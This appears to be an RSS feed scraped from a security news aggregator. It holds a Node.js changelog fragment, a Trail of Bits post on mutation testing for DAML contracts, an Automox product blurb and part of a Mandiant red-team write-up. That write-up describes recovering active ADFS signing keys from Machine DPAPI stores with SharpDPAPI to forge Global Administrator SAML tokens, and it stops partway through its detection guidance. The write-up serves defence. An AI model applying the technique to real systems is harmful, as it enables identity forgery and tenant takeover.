<li>[<a href="https://github.com/nodejs/node/commit/657a35f5a2"><code>657a35f5a2</code></a>] - <strong>tools</strong>: validate version number in release proposal commit message lint (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64070/hovercard">#64070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/17228a861c"><code>17228a861c</code></a>] - <strong>tools</strong>: add GHA benchmark runner (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60293" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60293/hovercard">#60293</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d11a71d91"><code>6d11a71d91</code></a>] - <strong>tools</strong>: update <code>build-shared/action.yml</code> to a reusable workflow (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64059" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64059/hovercard">#64059</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a17c50b7f"><code>7a17c50b7f</code></a>] - <strong>tools</strong>: update libffi updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64046" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64046/hovercard">#64046</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28047a3e71"><code>28047a3e71</code></a>] - <strong>tools</strong>: exclude <code>libffi</code> changes from <code>test-shared</code> GHA CI (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64047" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64047/hovercard">#64047</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58d9685acc"><code>58d9685acc</code></a>] - <strong>typings</strong>: add typing for crypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64122" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64122/hovercard">#64122</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a9dcad44d"><code>7a9dcad44d</code></a>] - <strong>util</strong>: fix OOM in inspect color stack formatting (Ijtihed Kilani) <a href="https://github.com/nodejs/node/pull/64022" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64022/hovercard">#64022</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5f01bbbde"><code>d5f01bbbde</code></a>] - <strong>vfs</strong>: reject rename into descendant directory (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64285" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64285/hovercard">#64285</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b6af91081"><code>0b6af91081</code></a>] - <strong>vfs</strong>: handle current-position sentinel in memory files (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64163" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64163/hovercard">#64163</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/322230d641"><code>322230d641</code></a>] - <strong>vfs</strong>: support writeFileSync with virtual fds (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64165" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64165/hovercard">#64165</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9395d209c7"><code>9395d209c7</code></a>] - <strong>vfs</strong>: avoid recursive readdir symlink cycles (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64168" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64168/hovercard">#64168</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbdd7643b6"><code>bbdd7643b6</code></a>] - <strong>vfs</strong>: read RealFSProvider files from open fd (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64104" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64104/hovercard">#64104</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92859b8097"><code>92859b8097</code></a>] - <strong>vm</strong>: fix copying PropertyDescriptor (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64073" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64073/hovercard">#64073</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9046035475"><code>9046035475</code></a>] - <strong>zlib</strong>: validate flush king for all streams (Ic3b3rg) <a href="https://github.com/nodejs/node/pull/63746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63746/hovercard">#63746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/98be4304a3"><code>98be4304a3</code></a>] - <strong>zlib</strong>: validate flush kind for brotli streams (Ic3b3rg) <a href="https://github.com/nodejs/node/pull/63746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63746/hovercard">#63746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/90007a59a9"><code>90007a59a9</code></a>] - <strong>zlib</strong>: expose rejectGarbageAfterEnd option (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64023/hovercard">#64023</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5933516066"><code>5933516066</code></a>] - <strong>zlib</strong>: reject trailing gzip members in web streams (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64023/hovercard">#64023</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mutation testing comes to DAML]]></title>
<description><![CDATA[In April we released Mewt, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DA...]]></description>
<link>https://tsecurity.de/de/3654082/it-security-nachrichten/mutation-testing-comes-to-daml/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654082/it-security-nachrichten/mutation-testing-comes-to-daml/</guid>
<pubDate>Wed, 08 Jul 2026 13:08:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In April we released <a href="https://blog.trailofbits.com/2026/04/01/mutation-testing-for-the-agentic-era/">Mewt</a>, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DAML’s authorization primitives), and runs them through your existing test suite to count how many mutants survive. If you want to try it, simply install Mewt from the <a href="https://github.com/trailofbits/mewt">repository</a>, point a <code>mewt.toml</code> at your project and its test command, and use <code>mewt run</code>.</p>
<p>For a team shipping DAML to production, that count is what a passing test run is actually worth: it puts a number on how much your suite checks, whereas a green run on its own does not.</p>
<h2>Why DAML’s coverage reports lie</h2>
<p>Test coverage is the most reassuring lie in smart-contract development. Hitting 100% line coverage tells you the test runner walked the code; it does not tell you whether any test would fail if that code stopped doing what it is supposed to. We have been grading test harnesses by how many mutants they kill since at least <a href="https://blog.trailofbits.com/2019/01/23/fuzzing-an-api-with-deepstate-part-2/">2019</a>, and <a href="https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/">our primer on finding the bugs your tests don’t catch</a> shows how a green suite can still miss the bug that matters.</p>
<p>DAML’s built-in coverage measures execution at the template and choice level: which templates were created and which choices were exercised over the test run. It reports whether each choice was exercised, not what happened inside it. A test that exercises a choice once and asserts nothing about the result reports that choice as covered. The report prints the same green percentage whether the test verifies the outcome or discards it.</p>
<h2>How mutation testing works</h2>
<p>Instead of asking whether your tests reached the code, mutation testing grades your tests by sabotaging that code. The engine generates mutants, copies of the code that each carry one small deliberate change: a flipped comparison, a removed branch, a dropped party. It then runs your test suite against each one. A mutant that makes the suite fail is caught; a mutant that passes every test survives. Every survivor is a change your tests let through, and each one is either harmless or a potential bug. The harmless ones are equivalent code no test could distinguish or a branch no execution reaches, and you can set those aside. The rest are a to-do list: each one is a specific test you are missing, a case your suite should check but does not, occasionally with a real bug sitting behind the gap. The primer above describes a real audit where a mutation campaign surfaced a high-severity bug that the project’s tests had missed.</p>
<h2>Mutation testing forces the unhappy path</h2>
<p>A DAML contract encodes rights and obligations between named parties: who holds what, who owes what to whom, and who must authorize each step. A party is not an anonymous address. It represents a real organization or person, and the contract is the rulebook for how those parties interact, including which of them can take which action, what each is allowed to see, and what stays private between them.</p>
<p>Authorization is how that rulebook is enforced: who may take which action. It is also easy to get wrong in ordinary ways, such as a typo in a controller clause, a missing party, an extra one left over from a refactor. Every combination type-checks, so nothing rejects it before it ships. A static analyzer can flag suspicious patterns, but it has no way to know which party should hold which authority on your contract. That knowledge lives in your specification, and for most projects, the only executable form of the specification is the test suite. Happy-path tests supply every signature the contract asks for and confirm the transaction succeeds. They never try the negative case—removing a required signature and checking that the ledger rejects the transaction—so they never actually test whether that signature was required at all. If the tests don’t encode that rule, nothing downstream can recover it. Mutation testing is what tells you whether they do.</p>
<p>A green test run tells you your tests passed today. Mutation testing asks the harder question: would your tests catch a mistake, now or after the next code change? Where the answer is no, you have found a test case worth writing.</p>
<h2>What Mewt adds for DAML</h2>
<p>Mewt parses every language it supports with a tree-sitter grammar. As of mid-2026, there is no maintained tree-sitter grammar for DAML, so we reused the upstream <code>tree-sitter-haskell</code> grammar. DAML is Haskell-shaped, but its contract constructs (<code>template</code>, <code>choice</code>, <code>controller</code>, and <code>signatory</code>) are not Haskell, and the grammar parses them as error-recovered subtrees. That matters less than it sounds. The common mutations still work on DAML’s ordinary expressions, so Mewt swaps arithmetic and comparison operators, flips Booleans, and removes branches just as it does in any other language, with only small adjustments where DAML’s surface syntax differs (DAML writes <code>/=</code> where most languages write <code>!=</code>). We got most of the value of a from-scratch grammar without building one.</p>
<p>The new engineering went into DAML’s authorization primitives, where the authorization bugs from the previous section live. Mewt adds two DAML-specific mutations:</p>
<ul>
<li>
<p><strong>Controller party swap</strong> (CPS in Mewt’s output): replace one party in a <code>controller</code> clause with another party that is in scope at that site.</p>
</li>
<li>
<p><strong>Controller party removal</strong> (CPR): drop one party from a multi-party controller list.</p>
</li>
</ul>
<p>Both target the same question: if the set of parties allowed to exercise this choice silently changed, would any test fail? They are a deliberately small starting set aimed at the bug class above, and more DAML-specific mutations are in the pipeline.</p>
<p>Driving a campaign needs no new harness. A short <code>mewt.toml</code> names the files to mutate and the test command (<code>dpm test</code> for a Daml 3 project), and <code>mewt run</code> does the rest, reporting each mutant as caught or surviving. The setup is deliberately small: trying it on your own project costs minutes, and we encourage exactly that.</p>
<h2>What a surviving mutant looks like</h2>
<p>Picture a conditional payment between a buyer and a seller: the buyer sets money aside for the goods, and paying it out to the seller requires both parties to sign off. The buyer’s signature is the delivery confirmation. In DAML, that policy is one line: the <code>controller</code> line on the <code>Release</code> choice.</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">template ConditionalPayment
 with
 buyer : Party
 seller : Party
 amount : Decimal
 where
 signatory buyer
 observer seller

 choice Release : ()
 with
 paid : Decimal
 controller buyer, seller
 do
 assert (paid == amount)</code></pre>
 <figcaption><span>Figure 1: A payment that requires both the buyer and the seller to approve its release</span></figcaption>
</figure>
<p>A typical happy-path test creates the payment and has both parties approve the release. The <code>actAs buyer &lt;&gt; actAs seller</code> line submits the command with both parties’ authority:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">testHappyPath : Script ()
testHappyPath = script do
 buyer &lt;- allocateParty "Buyer"
 seller &lt;- allocateParty "Seller"
 payment &lt;- submit buyer do
 createCmd ConditionalPayment with
 buyer
 seller
 amount = 100.0
 submit (actAs buyer &lt;&gt; actAs seller) do
 exerciseCmd payment Release with paid = 100.0
 pure ()</code></pre>
 <figcaption><span>Figure 2: The happy-path test. It passes, and coverage reports 100%.</span></figcaption>
</figure>
<p>The test passes, and by the usual measure the suite looks complete: running <code>dpm test</code> with coverage reporting enabled shows full coverage.</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">$ dpm test --show-coverage --coverage-ignore-choice Archive
testHappyPath: ok, 0 active contracts, 2 transactions.
- Internal templates: 1 defined, 1 (100.0%) created
- Internal template choices: 1 defined, 1 (100.0%) exercised</code></pre>
 <figcaption><span>Figure 3: The coverage report for the happy-path test. Every template is created and every choice is exercised, for 100% coverage.</span></figcaption>
</figure>
<p>The <code>--coverage-ignore-choice Archive</code> flag deserves a word. Every DAML template automatically gets an implicit <code>Archive</code> choice. It is not part of the business logic under test, so we exclude it for simplicity. With it included, this one-choice template would report 50% even though the test exercises everything we wrote.</p>
<p>Run Mewt on the project and it generates seven mutants. The test suite catches three of them. Four survive. Here is one of the survivors, shown as the diff Mewt reports:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang=""> choice Release : ()
 with
 paid : Decimal
- controller buyer, seller
+ controller seller
 do
 assert (paid == amount)</code></pre>
 <figcaption><span>Figure 4: The controller-removal mutant that survives the test suite</span></figcaption>
</figure>
<p>Re-run the test suite against this mutant. It still passes, and coverage still reports 100%. The contract claims releasing the buyer’s money requires both parties. The mutant lets the seller release it to themselves without the buyer ever confirming delivery. The tests report green either way. Only a test that tries the <em>forbidden</em> path, the seller acting alone, expecting the ledger to reject it, can tell the two contracts apart. No such test exists, and the mutation score says so. (The other three survivors tell the same story from different angles: the buyer-alone twin of this mutant, and two mutants that weaken the <code>paid == amount</code> check to <code>&lt;=</code> and <code>&gt;=</code>, which survive because the test only ever pays the exact amount.)</p>
<p>Step back, and this is the whole point of the exercise. Your tests are the executable specification of your code. Here the implementation changed, one required approval instead of two, and the specification did not react. That means the expected behavior was underspecified all along: whether both the buyer and the seller have to sign off, or just one of them, was never actually written down anywhere a machine could check. Every controller combination type-checks, and coverage reports 100% for all of them. The only place “both must sign” can exist in checkable form is a test that expects the weakened contract to fail, and writing that test is exactly what the surviving mutant tells you to do.</p>
<h2>Limitations and what comes next</h2>
<p>Mewt is not magic. Two limits are worth knowing before you run your first campaign: not every survivor is a real gap, and a campaign costs time. The roadmap that follows them is where we are taking the work next.</p>
<p>Equivalent mutants exist: some survivors turn out to be semantically identical to the original program, so no test could ever catch them. Few public DAML codebases on GitHub come with a full test suite, so we are glad OpenZeppelin open-sourced its <code>canton-stablecoin</code> reference implementation. Mewt generated hundreds of mutants for it. We ran the highest-priority ones through the existing test suite, and seven of those survived. Three were equivalent mutants or sat behind a guard that no path reaches, and the other four were genuine missing test cases. None of the survivors we reviewed pointed to a bug. Such a clean result is what you want when you run Mewt on your own code, and triaging them took minutes.</p>
<p>One of those equivalent mutants shows what that means concretely. A helper computed accrued debt:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">accrueDebt currentDebt lastAccrual now annualRate =
 if currentDebt == 0.0 || annualRate == 0.0 then currentDebt
 else
 let elapsedYears = ... -- elapsed time as a fraction of a year
 in currentDebt * (1.0 + annualRate * elapsedYears)</code></pre>
 <figcaption><span>Figure 5: The accrueDebt helper. Its first-line guard is a shortcut that returns the same value the calculation already produces.</span></figcaption>
</figure>
<p>Mewt forced the <code>if</code> to always take the <code>else</code> branch. No test failed, and none ever could: when the debt is zero, the formula multiplies by zero and returns zero, and when the rate is zero, it multiplies the debt by one and returns it unchanged. The guard is a shortcut that returns the value the formula already produces, so removing it changes nothing. Mewt suppresses the equivalent mutants it can detect. The rest need a reviewer’s judgment to dismiss.</p>
<p>Campaigns cost time in two places. The machine part: Mewt runs your test suite once per mutant, so the wall-clock cost is roughly the number of mutants times how long one test run takes, plus a rebuild if your project needs one. That is minutes on a small codebase and hours on a large one or a slow suite, so the cadence that works is nightly or weekly rather than per-commit. The human part: someone has to look at the survivors. We are working on that front from several directions at Trail of Bits, including our <a href="https://github.com/trailofbits/skills/tree/main/plugins/mutation-testing">mutation-testing skill</a> that helps configure campaigns for your project, and <a href="https://blog.trailofbits.com/2026/04/23/trailmark-turns-code-into-graphs/">Trailmark</a> with its <code>genotoxic</code> triage skill. None of these understand DAML yet, but the direction is clear: given the right harness and tools, the time-consuming parts of a campaign can be handed to AI agents. The effort is modest and the payoff is concrete: each genuine survivor is a specific test you can write, and every test you add makes your suite enforce one more guarantee your contracts are supposed to make.</p>
<p>Also on the roadmap: choice-consumption mutations (<code>consuming</code> vs <code>nonconsuming</code>) sit cleanly on top of the controller-mutation scaffolding and target a bug class Mewt does not yet reach.</p>
<h2>Dive in</h2>
<p>Install Mewt from the <a href="https://github.com/trailofbits/mewt">repository</a>, point a <code>mewt.toml</code> at your project and its test command, and <code>mewt run</code>. The quickstart in the README covers the rest. DAML works out of the box. Everything here ran on Daml 3.4 with <code>dpm</code>, but Mewt just drives whatever test command you configure, so Daml 2 projects using the <code>daml</code> assistant work the same way.</p>
<p>Mutation testing complements the rest of your security stack, the type checkers, linters, and property tests you already run, rather than replacing any of it.</p>
<p>If you’re building on Canton, we help teams with security reviews of DAML applications and with the way the code gets built: working directly with your engineers on the development process itself. <a href="https://www.trailofbits.com/contact/">Contact us</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Automox MCP Server adds visual reviews and AI-driven patch policy creation]]></title>
<description><![CDATA[Automox has released Automox MCP Server 2.2, adding interactive review surfaces, first-class Patch by Severity policy creation, and live capability discovery to its governed agentic interface for endpoint operations. The release advances Automox MCP beyond natural-language access alone, giving IT...]]></description>
<link>https://tsecurity.de/de/3653842/it-security-nachrichten/automox-mcp-server-adds-visual-reviews-and-ai-driven-patch-policy-creation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653842/it-security-nachrichten/automox-mcp-server-adds-visual-reviews-and-ai-driven-patch-policy-creation/</guid>
<pubDate>Wed, 08 Jul 2026 11:37:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Automox has released Automox MCP Server 2.2, adding interactive review surfaces, first-class Patch by Severity policy creation, and live capability discovery to its governed agentic interface for endpoint operations. The release advances Automox MCP beyond natural-language access alone, giving IT teams new ways to review, approve, and act on endpoint operations in context. “AI agents are only as useful as the platform coverage and governance behind them,” said Jason Kikta, CTO at Automox. “MCP 2.2 … <a href="https://www.helpnetsecurity.com/2026/07/08/automox-mcp-server-2-2/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/08/automox-mcp-server-2-2/">Automox MCP Server adds visual reviews and AI-driven patch policy creation</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The ‘Ghost’ in the Database: Recovering Active ADFS Signing Keys via Machine DPAPI]]></title>
<description><![CDATA[Written by: Shebin Mathew

Introduction 
The "Golden SAML" technique, first described by CyberArk researchers in 2017, and further detailed by Mandiant researchers in 2021, remains one of the most effective methods for threat actors to forge identity assertions in the Microsoft ecosystem. By obta...]]></description>
<link>https://tsecurity.de/de/3652290/it-security-nachrichten/the-ghost-in-the-database-recovering-active-adfs-signing-keys-via-machine-dpapi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652290/it-security-nachrichten/the-ghost-in-the-database-recovering-active-adfs-signing-keys-via-machine-dpapi/</guid>
<pubDate>Tue, 07 Jul 2026 19:07:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Shebin Mathew</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>The "Golden SAML" technique, first described by </span><a href="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps" rel="noopener" target="_blank"><span>CyberArk researchers</span></a><span> in 2017, and further detailed by </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/abusing-replication-stealing-adfs-secrets-over-the-network"><span>Mandiant researchers in 2021</span></a><span>, remains one of the most effective methods for threat actors to forge identity assertions in the Microsoft ecosystem. By obtaining the private key of an ADFS token-signing certificate, an attacker can authenticate as any user to any SAML-federated application, bypassing multifactor authentication (MFA), conditional access, and all identity-based controls.</span></p>
<p><span>However, during a recent red team engagement, Mandiant discovered that when ADFS certificates are manually rotated, configuration drift can silently leave active signing keys exposed in Machine DPAPI. Specifically, Mandiant discovered </span><span>that in environments where AutoCertificateRollover is disabled and certificates are manually rotated, the database often becomes a 'ghost'—a record that still exists, still decrypts successfully, but references a certificate no longer used for token signing by the ADFS service. This attack vector warrants attention because the underlying configuration is commonly deployed in enterprise environments. The technique avoids direct interaction with components such as LSASS and the live ADFS service process, which are often subject to enhanced monitoring in enterprise environments, and may therefore result in lower visibility depending on the organization’s telemetry coverage. This post details how adversaries may exploit this TTP to forge high-privilege SAML tokens and provides the blueprint to defend against it.</span></p>
<h3><span>Technical Insight: Encountering the ‘Ghost Certificate’</span></h3>
<p><span>Analysts followed the standard DKM extraction path, retrieving the encrypted blob from the WID database and decrypting it using the DKM material stored in Active Directory. The extraction succeeded, but the recovered certificate was no longer valid for token signing, and Entra ID rejected the resulting tokens with</span> <code>AADSTS500172</code><span> due to invalid signing material. Although structurally correct, the artifact is not usable for authentication, as the active signing key resides in the system’s machine-scoped cryptographic store, protected by Windows Machine DPAPI and managed through the operating system’s cryptographic subsystem. Successfully obtaining this active key allows an attacker to forge valid SAML assertions for any user, bypassing the need for user credentials and multi-factor authentication, and granting unauthorized access to any SAML-federated application including Microsoft 365 and Entra ID within the organization's environment.</span></p>
<p><span>Analysis revealed that</span><span> </span><code>AutoCertificateRollover</code><span> </span><span>had been disabled and a manual rotation had been performed. Confirmation was obtained directly via</span><span> </span><code>Get-AdfsProperties</code><span>, which returned</span><span> </span><code>AutoCertificateRollover: False</code><span>, </span><span>indicating that certificate lifecycle management had been delegated to manual administrative processes. While the ADFS service used a new valid key for signing, the WID configuration database was never updated to reflect the new certificate—leaving an expired "ghost" entry as the only record. This drift condition surfaces via Microsoft Event ID 385, which indicates certificate validity warnings in the ADFS service. Notably, this event self-resolves when</span><span> </span><code>AutoCertificateRollover</code><span> </span><span>is re-enabled and a subsequent certificate rollover is performed; in environments where it is disabled and manual rotation is performed without a corresponding database update, it is the observable symptom of this drift condition.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ghost-database-fig1.max-1000x1000.png" alt="ADFS certificate enumeration output showing configuration drift between the WID database and the active host certificate">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="8uqvx">Figure 1: ADFS certificate enumeration output showing configuration drift between the WID database and the active host certificate</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>ADFS maintains private keys in two protection contexts. In </span><strong>Location 1 (User DPAPI)</strong><span>, encrypted key blobs may exist on disk, but the DPAPI protection is tied to the service account's SID and associated DPAPI masterkey material. In the assessed environment, the domain DPAPI backup key approach successfully decrypted masterkey material for interactive user profiles, but returned no decryptable material associated with the ADFS service account profile. All subsequent offline decryption attempts similarly failed, consistent with the masterkey not being recoverable through the evaluated on-disk recovery approach in this environment—though this observation is bounded to the assessed environment and does not represent a universal architectural property of all ADFS deployments.</span></p>
<p><strong>Location 2 (Machine RSA)</strong><span> does not rely on a user-specific logon session. Instead, the key material is protected using Machine DPAPI, leveraging the</span><span> </span><code>DPAPI_SYSTEM</code><span> </span><span>LSA secret together with machine masterkeys available to sufficiently privileged SYSTEM-level contexts.</span></p>
<h4><span>Why the WID Path Misses This Key</span></h4>
<p><span>In ADFS environments experiencing configuration drift—commonly arising during manual certificate rotations where</span><span> </span><code>AutoCertificateRollover</code><span> </span><span>is disabled—the ADFS service host can successfully bind to a newly provisioned signing certificate at the operating-system level, ensuring continued service operation. However, the WID configuration database may not reflect the current signing certificate, resulting in stale certificate metadata.</span></p>
<p><span>This divergence between configuration and runtime state is the condition that ADFS Event ID 385 is designed to flag. As a consequence, extraction techniques that rely solely on the WID database and DKM material may return certificates that are no longer used for active signing, leading to rejected assertions in downstream federation scenarios.</span></p>
<h3><span>Understanding How the Machine DPAPI Store Becomes Populated</span></h3>
<p><span>Understanding how the Machine DPAPI store becomes populated requires examining how ADFS persists its token-signing key material. During initial deployment, automatic certificate rollover, or manual certificate rotation, ADFS persists its RSA private key material in the machine-scoped CAPI key store at </span><code>C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\</code><span>, protected using machine DPAPI context rather than a user-bound DPAPI context. SharpDPAPI</span><span> </span><code>/machine</code><span> </span><span>enumeration in the assessed environment confirmed that the active machine key material resided under this path, while the CNG</span><span> </span><code>Crypto\Keys</code><span> </span><span>store was not observed in use in the assessed environment.</span></p>
<p><span>The protection chain relies on the</span><span> </span><code>DPAPI_SYSTEM</code><span> </span><span>LSA secret together with machine masterkeys associated with the S-1-5-18 security context, stored in</span><span> </span><code>C:\Windows\System32\Microsoft\Protect\S-1-5-18\</code><span> </span><span>as DPAPI-protected key material—both components ultimately resolvable only within highly privileged SYSTEM-level contexts on the host. The corresponding certificate is enrolled into the </span><code>LocalMachine\My</code><span> </span><span>certificate store, from which ADFS retrieves the associated private key during token-signing operations.</span></p>
<p><span>The architectural rationale for machine-scoped key storage is operational resilience. A machine-scoped key remains usable across service account password changes, gMSA rotations, system reboots, and service restarts without requiring key reprovisioning or dependency on a specific interactive logon session. This design ensures that the ADFS service can consistently access the signing key regardless of changes to the underlying service account credentials.</span></p>
<p><span>However, this same design choice has important security implications. Because the private key is protected using Machine DPAPI rather than a user-bound DPAPI context, a sufficiently privileged local process capable of accessing the machine key store and associated DPAPI artifacts may be able to recover the key material independently of the original service logon session. As a result, under certain conditions, recovery of the active ADFS token-signing private key may be achievable without direct interaction with LSASS memory or the live ADFS service process itself, potentially reducing visibility to defenses primarily focused on credential dumping or process-memory access behaviors.</span></p></div>
<div class="block-paragraph_advanced"><div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1">
<tbody>
<tr>
<td>
<p><strong>KEY DESIGN IMPLICATION</strong></p>
<p><span>ADFS persists its token-signing private key material in the machine-scoped key store, protected using Machine DPAPI semantics. This is a documented behavior enabling machine-scoped key persistence that survives service account changes, credential rotations, and service restarts.</span></p>
<p><span>However, this design introduces an operational security implication that is not commonly emphasized in standard ADFS hardening guidance: private keys stored within the machine key store are protected using this protection model and may be recoverable by a sufficiently privileged SYSTEM-level context through access to the </span><span>DPAPI_SYSTEM</span><span> LSA secret and machine masterkeys available locally on the host.</span></p>
<p><span>As a result, recovery of the active ADFS token-signing private key may be achievable without direct interaction with LSASS memory or the live ADFS service process itself, potentially reducing visibility to security controls primarily focused on credential dumping or process-memory access behaviors.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Attack Flow: Machine DPAPI Key Recovery to SAML Forgery</span></h3></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ghost-database-fig2.max-1000x1000.png" alt="Machine DPAPI extraction flow—five-step process from SYSTEM execution to SAML assertion">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ggznt">Figure 2: Machine DPAPI extraction flow—five-step process from SYSTEM execution to SAML assertion</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ghost-database-fig3.max-1000x1000.png" alt="‘SharpDPAPI /machine’ output confirming successful recovery of the active ADFS token-signing private key from the machine DPAPI store">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ggznt">Figure 3: ‘SharpDPAPI /machine’ output confirming successful recovery of the active ADFS token-signing private key from the machine DPAPI store</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The recovered key was used to forge a SAML assertion impersonating a Global Administrator identity, which Entra ID accepted as a valid authentication assertion, resulting in authenticated access at </span><strong>Global Administrator</strong><span> privilege level within the federated Microsoft 365 tenant.</span></p>
<h3><span>Detection and Hunting</span></h3>
<p><span>Defenders should prioritize visibility into operating system-level cryptographic operations and identity issuance behavior, rather than relying solely on application-layer configuration stores.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>SACL-Based Object Access Monitoring:</strong><span> Configure object access auditing via SACLs on</span><span> </span><code>C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\</code><span> </span><span>and</span><span> </span><code>C:\Windows\System32\Microsoft\Protect\S-1-5-18\</code><span>. </span><span>When configured correctly, this generates </span><strong>Security Event ID 4663</strong><span> for file access attempts. Coverage depends on SACL configuration and access paths; treat this as supporting evidence in correlation-based detection rather than a stand-alone signal.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>ADFS Token Issuance Consistency:</strong><span> Monitor for inconsistencies between primary authentication events and token issuance events in ADFS audit logs. Relevant events include token issuance and claims processing records (Event IDs 299, 1200-series, depending on ADFS version and audit configuration). The objective is to identify token issuance that cannot be clearly correlated to a preceding authentication context. This is most effective when normal authentication patterns per relying party trust are baselined.</span></p>
</li>
<li aria-level="1">
